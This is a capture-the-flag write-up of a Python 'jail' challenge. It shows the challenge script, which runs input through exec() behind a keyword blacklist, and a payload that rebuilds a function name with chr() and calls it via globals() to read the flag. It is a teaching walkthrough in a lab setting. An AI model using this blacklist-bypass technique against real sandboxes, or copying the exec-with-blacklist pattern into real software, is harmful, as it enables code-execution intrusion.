Challenge Description
A test! Getting onto the team is one thing, but you must prove your skills to be chosen to represent the best of the best. They have given you the classic - a restricted environment, devoid of functionality, and it is up to you to see what you can do. Can you break open the chest? Do you have what it takes to bring humanity from the brink?
Challenge Overview
The challenge provides the following Python script:
banner = r'''
.____ __ .___ _____
| | ____ ____ | | __ ____ __| _/ / _ \__ _ _______ ___.__.
| | / _ \_/ ___\| |/ // __ \ / __ | / /_\ \ \/ \/ /\__ \< | |
| |__( <_> ) \___| <\ ___// /_/ | / | \ / / __ \\___ |
|_______ \____/ \___ >__|_ \\___ >____ | \____|__ /\/\_/ (____ / ____|
\/ \/ \/ \/ \/ \/ \/\/
'''
def open_chest():
with open('flag.txt', 'r') as f:
print(f.read())
blacklist = [
'import', 'os', 'sys', 'breakpoint',
'flag', 'txt', 'read', 'eval', 'exec',
'dir', 'print', 'subprocess', '[', ']',
'echo', 'cat', '>', '<', '"', '\'', 'open'
]
print(banner)
while True:
command = input('The chest lies waiting... ')
if any(b in command for b in blacklist):
print('Invalid command!')
continue
try:
exec(command)
except Exception as e:
print(e)
print('You have been locked away...')
exit(1337)Observations
Target Functionality:
Theopen_chestfunction is the key to retrieving the flag, as it reads and prints the content of theflag.txtfile. However, this function cannot be directly executed because:exec(command)enforces a blacklist that blocks specific keywords likeopen,flag,eval,exec, etc.
Blacklisting Mechanism:
Theblacklistarray ensures that any input containing restricted words is rejected, preventing direct use of sensitive commands.Vulnerability:
Theexecfunction dynamically executes the input command, leaving it susceptible to clever bypass techniques.
Bypassing the Blacklist
To execute open_chest and bypass the blacklist, we must:
Avoid Using Blocked Words:
Directly typingopen_chest()is invalidated by the blacklist becauseopenis restricted.Leverage
globals:
Theglobals()function returns a dictionary containing all global variables, including theopen_chestfunction. Usingglobals().get()allows indirect access to the function without typing its name directly.Reconstruct the Function Name:
Since the wordopenis restricted, we can reconstruct the stringopen_chestcharacter by character using ASCII values.- Use the
ordfunction to get the ASCII value of each character. - Use the
chrfunction to convert ASCII values back to characters.
- Use the
Payload Construction
The following payload reconstructs open_chest and executes it:
globals().get(chr(111) + chr(112) + chr(101) + chr(110) + chr(95) + chr(99) + chr(104) + chr(101) + chr(115) + chr(116))()Explanation
Reconstruction:
chr(111)converts ASCII111too.chr(112)converts ASCII112top, and so on.- Concatenating these characters recreates the string
open_chest.
Function Retrieval:
globals().get("open_chest")retrieves theopen_chestfunction from the global namespace.
Execution:
- Adding
()at the end calls the function, bypassing the blacklist.
- Adding
Exploitation Process
Connect to the challenge server using netcat:
bashnc <ip> <port>Submit the crafted payload:
pythonglobals().get(chr(111) + chr(112) + chr(101) + chr(110) + chr(95) + chr(99) + chr(104) + chr(101) + chr(115) + chr(116))()Retrieve the flag from the server's response:
plaintextHTB{f4k3_fLaG_f0r_t3sTiNg}

